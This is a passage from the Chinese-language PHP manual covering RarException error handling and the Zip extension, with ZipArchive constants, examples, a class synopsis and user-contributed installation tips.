  • attempting some operations on a closed RarArchive object or a RarEntry object relative to the first;
  • attempting to get an entry that does not exist with RarArchive::getEntry().

参数

using_exceptions

Should be true to activate exception throwing, false to deactivate (the default).

返回值

没有返回值。

示例

Example #1 RarException::setUsingExceptions() example

<?php
var_dump(RarException::isUsingExceptions());
$arch = RarArchive::open("does_not_exist.rar");
var_dump($arch);

RarException::setUsingExceptions(true);
var_dump(RarException::isUsingExceptions());
$arch = RarArchive::open("does_not_exist.rar");
var_dump($arch); //not reached
?>

以上示例的输出类似于：

bool(false)

Warning: RarArchive::open(): Failed to open does_not_exist.rar: ERAR_EOPEN (file open error) in C:\php_rar\trunk\tests\test.php on line 3
bool(false)
bool(true)

Fatal error: Uncaught exception 'RarException' with message 'unRAR internal error: Failed to open does_not_exist.rar: ERAR_EOPEN (file open error)' in C:\php_rar\trunk\tests\test.php:8
Stack trace:
#0 C:\php_rar\trunk\tests\test.php(8): RarArchive::open('does_not_exist....')
#1 {main}
  thrown in C:\php_rar\trunk\tests\test.php on line 8

参见

  • RarException::isUsingExceptions() - Check whether error handling with exceptions is in use

User Contributed Notes

There are no user contributed notes for this page.


Zip

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • ZipArchive — ZipArchive 类
    • ZipArchive::addEmptyDir — Add a new directory
    • ZipArchive::addFile — Adds a file to a ZIP archive from the given path
    • ZipArchive::addFromString — Add a file to a ZIP archive using its contents
    • ZipArchive::addGlob — Add files from a directory by glob pattern
    • ZipArchive::addPattern — Add files from a directory by PCRE pattern
    • ZipArchive::clearError — 清除状态错误消息、系统和/或 zip 消息
    • ZipArchive::close — Close the active archive (opened or newly created)
    • ZipArchive::count — Counts the number of files in the archive
    • ZipArchive::deleteIndex — Delete an entry in the archive using its index
    • ZipArchive::deleteName — Delete an entry in the archive using its name
    • ZipArchive::extractTo — 解压缩文件
    • ZipArchive::getArchiveComment — Returns the Zip archive comment
    • ZipArchive::getArchiveFlag — 返回 Zip 归档全局 flag 的值
    • ZipArchive::getCommentIndex — Returns the comment of an entry using the entry index
    • ZipArchive::getCommentName — Returns the comment of an entry using the entry name
    • ZipArchive::getExternalAttributesIndex — Retrieve the external attributes of an entry defined by its index
    • ZipArchive::getExternalAttributesName — Retrieve the external attributes of an entry defined by its name
    • ZipArchive::getFromIndex — Returns the entry contents using its index
    • ZipArchive::getFromName — Returns the entry contents using its name
    • ZipArchive::getNameIndex — Returns the name of an entry using its index
    • ZipArchive::getStatusString — Returns the status error message, system and/or zip messages
    • ZipArchive::getStream — Get a file handler to the entry defined by its name (read only)
    • ZipArchive::getStreamIndex — Get a file handler to the entry defined by its index (read only)
    • ZipArchive::getStreamName — Get a file handler to the entry defined by its name (read only)
    • ZipArchive::isCompressionMethodSupported — Check if a compression method is supported by libzip
    • ZipArchive::isEncryptionMethodSupported — Check if a encryption method is supported by libzip
    • ZipArchive::locateName — Returns the index of the entry in the archive
    • ZipArchive::open — Open a ZIP file archive
    • ZipArchive::registerCancelCallback — Register a callback to allow cancellation during archive close.
    • ZipArchive::registerProgressCallback — Register a callback to provide updates during archive close.
    • ZipArchive::renameIndex — Renames an entry defined by its index
    • ZipArchive::renameName — Renames an entry defined by its name
    • ZipArchive::replaceFile — Replace file in ZIP archive with a given path
    • ZipArchive::setArchiveComment — Set the comment of a ZIP archive
    • ZipArchive::setArchiveFlag — 设置 ZIP 归档的全局 flag
    • ZipArchive::setCommentIndex — Set the comment of an entry defined by its index
    • ZipArchive::setCommentName — Set the comment of an entry defined by its name
    • ZipArchive::setCompressionIndex — Set the compression method of an entry defined by its index
    • ZipArchive::setCompressionName — Set the compression method of an entry defined by its name
    • ZipArchive::setEncryptionIndex — Set the encryption method of an entry defined by its index
    • ZipArchive::setEncryptionName — Set the encryption method of an entry defined by its name
    • ZipArchive::setExternalAttributesIndex — Set the external attributes of an entry defined by its index
    • ZipArchive::setExternalAttributesName — Set the external attributes of an entry defined by its name
    • ZipArchive::setMtimeIndex — Set the modification time of an entry defined by its index
    • ZipArchive::setMtimeName — Set the modification time of an entry defined by its name
    • ZipArchive::setPassword — Set the password for the active archive
    • ZipArchive::statIndex — Get the details of an entry defined by its index
    • ZipArchive::statName — Get the details of an entry defined by its name
    • ZipArchive::unchangeAll — Undo all changes done in the archive
    • ZipArchive::unchangeArchive — Revert all global changes done in the archive
    • ZipArchive::unchangeIndex — Revert all changes done to an entry at the given index
    • ZipArchive::unchangeName — Revert all changes done to an entry with the given name
  • Zip 函数
    • zip_close — 关闭一个ZIP档案文件
    • zip_entry_close — 关闭目录项
    • zip_entry_compressedsize — 检索目录项压缩过后的大小
    • zip_entry_compressionmethod — 检索目录实体的压缩方法
    • zip_entry_filesize — 检索目录实体的实际大小
    • zip_entry_name — 检索目录项的名称
    • zip_entry_open — 打开用于读取的目录实体
    • zip_entry_read — 读取一个打开了的压缩目录实体
    • zip_open — 打开 ZIP 文件归档
    • zip_read — 读取 ZIP 文件归档中下一项

User Contributed Notes

singh206 at gmail dot com 10-Aug-2009 11:21
Caution:  If you accidentally let an extra '/' slip into your filepath, such as, '/myzipstuff//myfile.mp3', Mac OS X will handle resolve this, and you won't notice the typo.  Vista, and XP will have issues unzipping the file.


简介

此扩展能够透明地读取或写入 ZIP 压缩档案及其中的文件。

User Contributed Notes

There are no user contributed notes for this page.


需求

此扩展需要 » libzip。在 7.3 及其以前的版本，1.1.2 版本都捆绑在 PHP 中。

最低支持版本为 0.11，但强烈建议使用更高版本。

  • 加密支持需要版本 1.2，参阅 ZipArchive::setEncryptionIndex()
  • 进度支持需要版本 1.3，参阅 ZipArchive::registerProgressCallback()
  • 取消支持（cancel support）需要版本 1.6 版，参阅 ZipArchive::registerCancelCallback()

User Contributed Notes

There are no user contributed notes for this page.


安装

Linux 系统

从 PHP 7.4.0 开始，必须在编译 PHP 时用 --with-zip 配置选项来提供 zip 支持。之前的 PHP 版本，需要使用 --enable-zip 选项。从 PHP 7.4.0 起，移除捆绑的 libzip。

从 PHP 7.3.0 开始, 不鼓励使用捆绑的 libzip 进行构建，但通过在配置中添加 --without-libzip 参数仍然可以实现。

新增 --with-libzip=DIR 配置选项以使用系统 libzip 安装。需要 libzip 版本 0.11，推荐使用 0.11.2 或更高版本。

Windows

从 PHP 8.2.0 开始，必须在 php.ini 中启用 php_zip.dll DLL。以前内置此扩展。

通过 PECL 安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/zip.

User Contributed Notes

Anonymous 01-Jul-2020 11:29
This is how I installed it on my machine (ubuntu):
php 7:

sudo apt-get install php7.0-zip

service apache2 restart
php dot net at cage dot is 23-Jun-2020 03:00
For those of you asking about how to update this within your Dockerfile, the answer seems to be to add to the environment variable like so:

ENV PHP_EXTRA_CONFIGURE_ARGS="--with-apxs2 --disable-cgi --with-zip"
sgalyen at notspamarizona dot edu 15-Apr-2020 11:13
In trying to compile PHP 7.4.x on CentOS 7.x I'm running into the dreaded "Package requirements (libzip >= 0.11) were not met"

As the referenced RPM package for lipzip 0.11.2 is a 3rd party (repo named Psychotic Ninja Plus, doesn't exactly inspire faith) I tried to compile from source.

I was able to find the git sha1 for 0.11.1 and compile successfully - if anyone needs it:
d2aac947ccc85bd4abbd02a6d9b237bdaa89d3f0

If someone in the know could post the sha1 for 0.11.2, or whatever preferred version of libzip that successfully compiles, I would appreciate it!
Marcel 10-Dec-2018 01:34
Getting error

  configure: error: Please reinstall the libzip distribution

when compiling this extension for php 7.3?

You need to install the 'libzip' package.

In Dockerfile you would do this like:

# Install zip
RUN apt-get update && \
     apt-get install -y \
         libzip-dev \
         && docker-php-ext-install zip
mattcasiro at gmail dot com 23-Apr-2018 06:15
If installing this in a Docker image using:
"docker-php-ext-install zip"

you may get an error such as:
"docker-php-ext-install zip returned a non-zero code: 1"
or
"zip support requires ZLIB"

Docker documentation now suggests this as the proper way to install, to ensure the dependant libraries are installed with it:
# Install zip
RUN apt-get update && \
     apt-get install -y \
         zlib1g-dev \
         && docker-php-ext-install zip


资源类型

在 Zip 模块里用到两种资源类型。第一种是 Zip 文档的 Zip 目录，第二种是文档条目的 Zip 条目。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

ZipArchive 使用类常量。有各种类型的常量，主要有：Flag（以 FL_ 为前缀）、全局 Flag（以 AFL_ 为前缀）、错误（以 ER_ 为前缀）以及模式（没有前缀）。

归档打开模式
ZIPARCHIVE::CREATE (int)
如果不存在则创建归档。
ZIPARCHIVE::OVERWRITE (int)
如果归档存在，则忽略其当前内容。换句话说，处理方式与空归档相同。
ZIPARCHIVE::EXCL (int)
如果归档已经存在，则出错。
ZipArchive::RDONLY (int)
只读模式打开归档。 在 PHP 7.4.3 和 PECL zip 1.17.1 中可用，前提是编译时使用的 libzip 版本大于等于 1.0.0。
ZIPARCHIVE::CHECKCONS (int)
对归档执行额外的一致性检查，如果失败则显示错误。
归档全局 flag
ZipArchive::AFL_RDONLY (int)
归档只读，无法清除。如果构建时使用的是 libzip ≥ 1.10.0，分别在 PHP 8.3.0 和 PECL zip 1.22.0 中可用。
ZipArchive::AFL_IS_TORRENTZIP (int)
当前归档是 torrentzipped（使用 BitTorrent 压缩）。如果构建时使用的是 libzip ≥ 1.10.0，分别在 PHP 8.3.0 和 PECL zip 1.22.0 中可用。
ZipArchive::AFL_WANT_TORRENTZIP (int)
使用 torrentzip 格式写入归档。如果构建时使用的是 libzip ≥ 1.10.0，分别在 PHP 8.3.0 和 PECL zip 1.22.0 中可用。
ZipArchive::AFL_CREATE_OR_KEEP_FILE_FOR_EMPTY_ARCHIVE (int)
归档为空时不要删除文件。如果构建时使用的是 libzip ≥ 1.10.0，分别在 PHP 8.3.0 和 PECL zip 1.22.0 中可用。
归档 flag
ZIPARCHIVE::FL_NOCASE (int)
名称查找时忽略大小写。
ZIPARCHIVE::FL_NODIR (int)
忽略目录部分
ZIPARCHIVE::FL_COMPRESSED (int)
读取压缩数据
ZIPARCHIVE::FL_UNCHANGED (int)
使用原始数据，忽略更改。
ZipArchive::FL_RECOMPRESS (int)
强制重新压缩数据。 PHP 8.0.0 和 PECL zip 1.18.0 起可以使用。 从 PHP 8.3.0 和 PECL zip 1.22.1 起已被弃用， 将在 libzip 的未来版本中被删除。
ZipArchive::FL_ENCRYPTED (int)
读取加密数据（意味着 FL_COMPRESSED）。 PHP 8.0.0 和 PECL zip 1.18.0 起可以使用。
ZipArchive::FL_OVERWRITE (int)
如果文件名称存在，重写（覆盖）它。 PHP 8.0.0 和 PECL zip 1.18.0 起可以使用。
ZipArchive::FL_LOCAL (int)
在本地 header 中。 PHP 8.0.0 和 PECL zip 1.18.0 起可以使用。
ZipArchive::FL_CENTRAL (int)
In central directory. PHP 8.0.0 和 PECL zip 1.18.0 起可以使用。
ZipArchive::FL_ENC_GUESS (int)
猜测字符串编码（默认情况）。从 PHP 7.0.8 起可用。
ZipArchive::FL_ENC_RAW (int)
获取未修改的字符串。从 PHP 7.0.8 起可用。
ZipArchive::FL_ENC_STRICT (int)
严格遵循规范要求。从 PHP 7.0.8 起可用。
ZipArchive::FL_ENC_UTF_8 (int)
字符串是 UTF-8 编码。从 PHP 7.0.8 起可用。
ZipArchive::FL_ENC_CP437 (int)
字符串是 CP437 编码。从 PHP 7.0.8 起可用。
ZipArchive::FL_OPEN_FILE_NOW (int)
在添加文件，而不是等待归档关闭时打开文件。需要注意文件描述符消耗的情况。 从 PHP 8.3.0 和 PECL zip 1.22.1 起可用。
压缩模式
ZIPARCHIVE::CM_DEFAULT (int)
更好的压缩或存储。
ZIPARCHIVE::CM_STORE (int)
存储（不压缩）。
ZIPARCHIVE::CM_SHRINK (int)
收缩
ZIPARCHIVE::CM_REDUCE_1 (int)
用因子 1 换算
ZIPARCHIVE::CM_REDUCE_2 (int)
用因子 2 换算
ZIPARCHIVE::CM_REDUCE_3 (int)
用因子 3 换算
ZIPARCHIVE::CM_REDUCE_4 (int)
用因子 4 换算
ZIPARCHIVE::CM_IMPLODE (int)
聚爆
ZIPARCHIVE::CM_DEFLATE (int)
deflated
ZIPARCHIVE::CM_DEFLATE64 (int)
deflate64
ZIPARCHIVE::CM_PKWARE_IMPLODE (int)
PKWARE imploding
ZIPARCHIVE::CM_BZIP2 (int)
BZIP2 算法
ZipArchive::CM_LZMA (int)
LZMA 算法
ZipArchive::CM_LZMA2 (int)
LZMA2 algorithm. Available as of PHP 7.4.3 and PECL zip 1.16.0, respectively, if built against libzip ≥ 1.6.0.
ZipArchive::CM_ZSTD (int)
Zstandard（zstd）压缩算法。如果针对 libzip ≥ 1.8.0 编译，则分别从 PHP 8.0.0 和 PECL zip 1.19.1 开始可用。
ZipArchive::CM_XZ (int)
XZ 算法。 在 PHP 7.4.3 和 PECL zip 1.16.1 中可用，前提是编译时使用的 libzip 版本大于等于 1.6.0。
ZipArchive::CM_TERSE (int)
ZipArchive::CM_LZ77 (int)
ZipArchive::CM_WAVPACK (int)
ZipArchive::CM_PPMD (int)
错误
ZIPARCHIVE::ER_OK (int)
没有错误。
ZIPARCHIVE::ER_MULTIDISK (int)
不支持多磁盘 zip 归档。
ZIPARCHIVE::ER_RENAME (int)
重命名临时文件失败。
ZIPARCHIVE::ER_CLOSE (int)
关闭 zip 归档失败
ZIPARCHIVE::ER_SEEK (int)
寻址错误
ZIPARCHIVE::ER_READ (int)
读取错误
ZIPARCHIVE::ER_WRITE (int)
写入错误
ZIPARCHIVE::ER_CRC (int)
CRC校验失败
ZIPARCHIVE::ER_ZIPCLOSED (int)
zip 归档已关闭
ZIPARCHIVE::ER_NOENT (int)
没有文件
ZIPARCHIVE::ER_EXISTS (int)
文件已经存在
ZIPARCHIVE::ER_OPEN (int)
不能打开文件
ZIPARCHIVE::ER_TMPOPEN (int)
创建临时文件失败
ZIPARCHIVE::ER_ZLIB (int)
Zlib错误
ZIPARCHIVE::ER_MEMORY (int)
内存分配失败
ZIPARCHIVE::ER_CHANGED (int)
条目已被改变
ZIPARCHIVE::ER_COMPNOTSUPP (int)
不支持的压缩方式
ZIPARCHIVE::ER_EOF (int)
过早的EOF
ZIPARCHIVE::ER_INVAL (int)
无效的参数
ZIPARCHIVE::ER_NOZIP (int)
不是 zip 归档
ZIPARCHIVE::ER_INTERNAL (int)
内部错误
ZIPARCHIVE::ER_INCONS (int)
Zip 归档不一致
ZIPARCHIVE::ER_REMOVE (int)
不能移除文件
ZIPARCHIVE::ER_DELETED (int)
条目已删除
ZipArchive::ER_ENCRNOTSUPP (int)
不支持的压缩方式。 PHP 7.4.3 和 PECL zip 1.16.1 起可用。
ZipArchive::ER_RDONLY (int)
归档只读。 分别于 PHP 7.4.3 和 PECL zip 1.16.1 起可用。
ZipArchive::ER_NOPASSWD (int)
没有提供密码。 分别于 PHP 7.4.3 和 PECL zip 1.16.1 起可用。
ZipArchive::ER_WRONGPASSWD (int)
提供的密码错误。 分别于 PHP 7.4.3 和 PECL zip 1.16.1 起可用。
ZipArchive::ER_OPNOTSUPP (int)
操作不支持。 在 PHP 7.4.3 和 PECL zip 1.16.1 中可用，前提是编译时使用的 libzip 版本大于等于 1.0.0。
ZipArchive::ER_INUSE (int)
资源仍在使用。 在 PHP 7.4.3 和 PECL zip 1.16.1 中可用，前提是编译时使用的 libzip 版本大于等于 1.0.0。
ZipArchive::ER_TELL (int)
Tell error. 在 PHP 7.4.3 和 PECL zip 1.16.1 中可用，前提是编译时使用的 libzip 版本大于等于 1.0.0。
ZipArchive::ER_COMPRESSED_DATA (int)
压缩数据无效。 在 PHP 7.4.3 和 PECL zip 1.16.1 中可用，前提是编译时使用的 libzip 版本大于等于 1.6.0。
ZipArchive::ER_CANCELLED (int)
操作已取消。 在 PHP 7.4.3 和 PECL zip 1.16.1 中可用，前提是编译时使用的 libzip 版本大于等于 1.6.0。
ZipArchive::ER_DATA_LENGTH (int)
数据长度异常。如果构建时使用的是 libzip ≥ 1.10.0，分别在 PHP 8.3.0 和 PECL zip 1.22.0 中可用。
ZipArchive::ER_NOT_ALLOWED (int)
在 torrentzip 中不允许。如果构建时使用的是 libzip ≥ 1.10.0，分别在 PHP 8.3.0 和 PECL zip 1.22.0 中可用。
加密模式
ZipArchive::EM_NONE (int)
没有加密。分别从 PHP 7.2.0 和 PECL zip 1.14.0 开始可用。
ZipArchive::EM_TRAD_PKWARE (int)
传统 PKWARE 加密。分别从 PHP 8.0.0 和 PECL zip 1.19.0 开始可用。
ZipArchive::EM_AES_128 (int)
AES 128 encryption, since PHP 7.2.0, PECL zip 1.14.0
ZipArchive::EM_AES_192 (int)
AES 1192 encryption, since PHP 7.2.0, PECL zip 1.14.0
ZipArchive::EM_AES_256 (int)
AES 256 encryption, since PHP 7.2.0, PECL zip 1.14.0
ZipArchive::EM_UNKNOWN (int)
未知的加密算法。分别从 PHP 8.0.0 和 PECL zip 1.19.0 开始可用。
length 参数常量
ZipArchive::LENGTH_TO_END (int)
使用的文件大小，如果文件增大，将会忽略附加数据，如果文件变小，则会引发错误（ZipArchive::ER_DATA_LENGTH）。 自 PHP 8.3.0 和 PECL zip 1.22.2 起可用。
ZipArchive::LENGTH_UNCHECKED (int)
使用所有可用的数据。如果针对 libzip ≥ 1.10.1 编译，自 PHP 8.3.0 和 PECL zip 1.22.2 起可用。
其它常量
ZipArchive::LIBZIP_VERSION (string)
Zip 库版本。从 PHP 7.4.3 和 PECL zip 1.16.0 开始起可用。
外部属性的操作系统常量
ZipArchive::OPSYS_DOS (int)
ZipArchive::OPSYS_AMIGA (int)
ZipArchive::OPSYS_OPENVMS (int)
ZipArchive::OPSYS_UNIX (int)
ZipArchive::OPSYS_VM_CMS (int)
ZipArchive::OPSYS_ATARI_ST (int)
ZipArchive::OPSYS_OS_2 (int)
ZipArchive::OPSYS_MACINTOSH (int)
ZipArchive::OPSYS_Z_SYSTEM (int)
ZipArchive::OPSYS_CPM (int)
ZipArchive::OPSYS_WINDOWS_NTFS (int)
ZipArchive::OPSYS_MVS (int)
ZipArchive::OPSYS_VSE (int)
ZipArchive::OPSYS_ACORN_RISC (int)
ZipArchive::OPSYS_VFAT (int)
ZipArchive::OPSYS_ALTERNATE_MVS (int)
ZipArchive::OPSYS_BEOS (int)
ZipArchive::OPSYS_TANDEM (int)
ZipArchive::OPSYS_OS_400 (int)
ZipArchive::OPSYS_OS_X (int)
ZipArchive::OPSYS_DEFAULT (int)
自 PECL zip 1.12.4 起可用

User Contributed Notes

ohcc at 163 dot com 17-Dec-2015 08:35
0    ZIPARCHIVE::ER_OK     没有错误。
1    ZIPARCHIVE::ER_MULTIDISK    不支持多磁盘zip压缩包。
2    ZIPARCHIVE::ER_RENAME    重命名临时文件失败。
3    ZIPARCHIVE::ER_CLOSE    关闭zip压缩包失败。
4    ZIPARCHIVE::ER_SEEK    寻址错误
5    ZIPARCHIVE::ER_READ    读取错误
6    ZIPARCHIVE::ER_WRITE    写入错误
7    ZIPARCHIVE::ER_CRC    CRC校验失败
8    ZIPARCHIVE::ER_ZIPCLOSED    zip压缩包已关闭
9    ZIPARCHIVE::ER_NOENT    没有文件
10    ZIPARCHIVE::ER_EXISTS    文件已经存在
11    ZIPARCHIVE::ER_OPEN    不能打开文件
12    ZIPARCHIVE::ER_TMPOPEN    创建临时文件失败
13    ZIPARCHIVE::ER_ZLIB    Zlib错误
14    ZIPARCHIVE::ER_MEMORY    内存分配失败
15    ZIPARCHIVE::ER_CHANGED    条目已被改变
16    ZIPARCHIVE::ER_COMPNOTSUPP    不支持的压缩方式
17    ZIPARCHIVE::ER_EOF    过早的EOF
18    ZIPARCHIVE::ER_INVAL    无效的参数
19    ZIPARCHIVE::ER_NOZIP    不是一个zip压缩包
20    ZIPARCHIVE::ER_INTERNAL    Internal
21    ZIPARCHIVE::ER_INCONS    Zip压缩包不一致
22    ZIPARCHIVE::ER_REMOVE    不能移除文件
23    ZIPARCHIVE::ER_DELETED    条目已被删除
scott at bluecamel dot eml dot cc 13-Jun-2008 10:13
#define ZIP_ER_OK             0  /* N No error */
#define ZIP_ER_MULTIDISK      1  /* N Multi-disk zip archives not supported */
#define ZIP_ER_RENAME         2  /* S Renaming temporary file failed */
#define ZIP_ER_CLOSE          3  /* S Closing zip archive failed */
#define ZIP_ER_SEEK           4  /* S Seek error */
#define ZIP_ER_READ           5  /* S Read error */
#define ZIP_ER_WRITE          6  /* S Write error */
#define ZIP_ER_CRC            7  /* N CRC error */
#define ZIP_ER_ZIPCLOSED      8  /* N Containing zip archive was closed */
#define ZIP_ER_NOENT          9  /* N No such file */
#define ZIP_ER_EXISTS        10  /* N File already exists */
#define ZIP_ER_OPEN          11  /* S Can't open file */
#define ZIP_ER_TMPOPEN       12  /* S Failure to create temporary file */
#define ZIP_ER_ZLIB          13  /* Z Zlib error */
#define ZIP_ER_MEMORY        14  /* N Malloc failure */
#define ZIP_ER_CHANGED       15  /* N Entry has been changed */
#define ZIP_ER_COMPNOTSUPP   16  /* N Compression method not supported */
#define ZIP_ER_EOF           17  /* N Premature EOF */
#define ZIP_ER_INVAL         18  /* N Invalid argument */
#define ZIP_ER_NOZIP         19  /* N Not a zip archive */
#define ZIP_ER_INTERNAL      20  /* N Internal error */
#define ZIP_ER_INCONS        21  /* N Zip archive inconsistent */
#define ZIP_ER_REMOVE        22  /* S Can't remove file */
#define ZIP_ER_DELETED       23  /* N Entry has been deleted */


示例

Example #1 创建 Zip 归档

<?php

$zip = new ZipArchive();
$filename = "./test112.zip";

if ($zip->open($filename, ZipArchive::CREATE)!==TRUE) {
exit("cannot open <$filename>\n");
}

$zip->addFromString("testfilephp.txt" . time(), "#1 This is a test string added as testfilephp.txt.\n");
$zip->addFromString("testfilephp2.txt" . time(), "#2 This is a test string added as testfilephp2.txt.\n");
$zip->addFile($thisdir . "/too.php","/testfromfile.php");
echo "numfiles: " . $zip->numFiles . "\n";
echo "status:" . $zip->status . "\n";
$zip->close();
?>

Example #2 输出文档细节和列表

<?php
$za = new ZipArchive();

$za->open('test_with_comment.zip');
print_r($za);
var_dump($za);
echo "numFiles: " . $za->numFiles . "\n";
echo "status: " . $za->status . "\n";
echo "statusSys: " . $za->statusSys . "\n";
echo "filename: " . $za->filename . "\n";
echo "comment: " . $za->comment . "\n";

for ($i=0; $i<$za->numFiles;$i++) {
echo "index: $i\n";
print_r($za->statIndex($i));
}
echo "numFile:" . $za->numFiles . "\n";
?>

Example #3 Zip 流封装，读取 OpenOffice 文件的元信息

<?php
$reader = new XMLReader();

$reader->open('zip://' . dirname(__FILE__) . '/test.odt#meta.xml');
$odt_meta = array();
while ($reader->read()) {
if ($reader->nodeType == XMLREADER::ELEMENT) {
$elm = $reader->name;
} else {
if ($reader->nodeType == XMLREADER::END_ELEMENT && $reader->name == 'office:meta') {
break;
}
if (!trim($reader->value)) {
continue;
}
$odt_meta[$elm] = $reader->value;
}
}
print_r($odt_meta);
?>

此例使用了旧的 API（PHP 4），它打开了 ZIP 文件归档，读取归档里的每个文件，并输出文件内容。此例用到的 test2.zip 文档是 ZZIPlib 源分布里测试文档中的一个。

Example #4 Zip 使用范例

<?php

$zip = zip_open("/tmp/test2.zip");

if ($zip) {
while ($zip_entry = zip_read($zip)) {
echo "Name: " . zip_entry_name($zip_entry) . "\n";
echo "Actual Filesize: " . zip_entry_filesize($zip_entry) . "\n";
echo "Compressed Size: " . zip_entry_compressedsize($zip_entry) . "\n";
echo "Compression Method: " . zip_entry_compressionmethod($zip_entry) . "\n";

if (zip_entry_open($zip, $zip_entry, "r")) {
echo "File Contents:\n";
$buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
echo "$buf\n";

zip_entry_close($zip_entry);
}
echo "\n";

}

zip_close($zip);

}
?>

User Contributed Notes

webmaster @ anonymous 27-Jun-2013 04:38
you can use this code for reading JAR files (java archives)

JAR files use the same ZIP format, so can be easily read

$zf = zip_open(realpath('D:/lucene/allinone/lucene-core.jar')); $i=1;
while($zf && $ze = zip_read($zf)) {
    $zi[$i]['zip entry name']= zip_entry_name($ze);
    $zi[$i]['zip entry filesize']= zip_entry_filesize($ze);
    $zi[$i]['zip entry compressed size']= zip_entry_compressedsize($ze);
    $zi[$i]['zip entry compression method']= zip_entry_compressionmethod($ze);
    $zi[$i]['zip entry open status'] = zip_entry_open($zf,$ze);
    //$zi[$i]['zip entry file contents'] = zip_entry_read($ze,100);
    $i++;
}
print_r($zi);
zip_close($zf);
Jonathan 19-Jan-2010 10:29
If you find your zip file not being created make sure every file you are adding to the zip is valid.  If even one file is not available when zip->close is called then the archive will fail and your zip file won't be created.
Stefano Di Paolo 04-Oct-2008 07:13
1) If you want to add files to a ZIP archive but you don't know if the ZiP file exists or not, you MUST check: this changes the way you open it !.
2) you can not append multiple flags, can use only one (or none).

If the zip does not exists, open it with:
$ziph->open($archiveFile, ZIPARCHIVE::CM_PKWARE_IMPLODE)
(or a different compression method)

If the zip already exists, open it with:
$ziph->open($archiveFile)
or
$ziph->open($archiveFile, ZIPARCHIVE::CHECKCONS)

Example: make backup files every hour and ZIP them all in a daily ZIP archive, so you want to get only one ZIP per day, each ZIP containing 24 files:
<?php
  function archivebackup($archiveFile, $file, &$errMsg)
  {
    $ziph = new ZipArchive();
    if(file_exists($archiveFile))
    {
      if($ziph->open($archiveFile, ZIPARCHIVE::CHECKCONS) !== TRUE)
      {
        $errMsg = "Unable to Open $archiveFile";
        return 1;
      }
    }
    else
    {
      if($ziph->open($archiveFile, ZIPARCHIVE::CM_PKWARE_IMPLODE) !== TRUE)
      {
        $errMsg = "Could not Create $archiveFile";
        return 1;
      }
    }
    if(!$ziph->addFile($file))
    {
      $errMsg = "error archiving $file in $archiveFile";
      return 2;
    }
    $ziph->close();

    return 0;
  }
?>
info at peterhofer dot ch 13-Sep-2008 09:03
All these examples will not work if the php script has no write access within the folder.

Although you may say this is obvious, I found that in this case, $zip->open("name", ZIPARCHIVE::CREATE) doesn't return an error as it might not try to access the file system but rather allocates memory.

It is only $zip->close() that returns the error. This might cause you seeking at the wrong end.
geandjay at gmail dot com 17-Apr-2008 09:25
<?php
        $zip = new ZipArchive;
    $zip->open('teste.zip');
    $zip->extractTo('./');
    $zip->close();
        echo "Ok!";
?>


ZipArchive 类

(PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0)

简介

用 Zip 压缩的文件归档。

类摘要

class ZipArchive implements Countable {
/* 常量 */
public const int CREATE;
public const int EXCL;
public const int CHECKCONS;
public const int OVERWRITE;
public const int RDONLY;
public const int FL_NOCASE;
public const int FL_NODIR;
public const int FL_COMPRESSED;
public const int FL_UNCHANGED;
public const int FL_RECOMPRESS;
public const int FL_ENCRYPTED;
public const int FL_OVERWRITE;
public const int FL_LOCAL;
public const int FL_CENTRAL;
public const int FL_ENC_GUESS;
public const int FL_ENC_RAW;
public const int FL_ENC_STRICT;
public const int FL_ENC_UTF_8;
public const int FL_ENC_CP437;
public const int FL_OPEN_FILE_NOW;
public const int CM_DEFAULT;
public const int CM_STORE;
public const int CM_SHRINK;
public const int CM_REDUCE_1;
public const int CM_REDUCE_2;
public const int CM_REDUCE_3;
public const int CM_REDUCE_4;
public const int CM_IMPLODE;
public const int CM_DEFLATE;
public const int CM_DEFLATE64;
public const int CM_PKWARE_IMPLODE;
public const int CM_BZIP2;
public const int CM_LZMA;
public const int CM_LZMA2;
public const int CM_ZSTD;
public const int CM_XZ;
public const int CM_TERSE;
public const int CM_LZ77;
public const int CM_WAVPACK;
public const int CM_PPMD;
public const int ER_OK;
public const int ER_MULTIDISK;
public const int ER_RENAME;
public const int ER_CLOSE;
public const int ER_SEEK;
public const int ER_READ;
public const int ER_WRITE;
public const int ER_CRC;
public const int ER_ZIPCLOSED;
public const int ER_NOENT;
public const int ER_EXISTS;
public const int ER_OPEN;
public const int ER_TMPOPEN;
public const int ER_ZLIB;
public const int ER_MEMORY;
public const int ER_CHANGED;
public const int ER_COMPNOTSUPP;
public const int ER_EOF;
public const int ER_INVAL;
public const int ER_NOZIP;
public const int ER_INTERNAL;
public const int ER_INCONS;
public const int ER_REMOVE;
public const int ER_DELETED;
public const int ER_ENCRNOTSUPP;
public const int ER_RDONLY;
public const int ER_NOPASSWD;
public const int ER_WRONGPASSWD;
public const int ER_OPNOTSUPP;
public const int ER_INUSE;
public const int ER_TELL;
public const int ER_COMPRESSED_DATA;
public const int ER_CANCELLED;
public const int ER_DATA_LENGTH;
public const int ER_NOT_ALLOWED;
public const int AFL_RDONLY;
public const int AFL_IS_TORRENTZIP;
public const int AFL_WANT_TORRENTZIP;
public const int AFL_CREATE_OR_KEEP_FILE_FOR_EMPTY_ARCHIVE;
public const int OPSYS_DOS;
public const int OPSYS_AMIGA;
public const int OPSYS_OPENVMS;
public const int OPSYS_UNIX;
public const int OPSYS_VM_CMS;
public const int OPSYS_ATARI_ST;
public const int OPSYS_OS_2;
public const int OPSYS_MACINTOSH;
public const int OPSYS_Z_SYSTEM;
public const int OPSYS_CPM;
public const int OPSYS_WINDOWS_NTFS;
public const int OPSYS_MVS;
public const int OPSYS_VSE;
public const int OPSYS_ACORN_RISC;
public const int OPSYS_VFAT;
public const int OPSYS_ALTERNATE_MVS;
public const int OPSYS_BEOS;
public const int OPSYS_TANDEM;
public const int OPSYS_OS_400;
public const int OPSYS_OS_X;
public const int OPSYS_DEFAULT;
public const int EM_NONE;
public const int EM_TRAD_PKWARE;
public const int EM_AES_128;
public const int EM_AES_192;
public const int EM_AES_256;
public const int EM_UNKNOWN;
public const string LIBZIP_VERSION;
public const int LENGTH_TO_END;
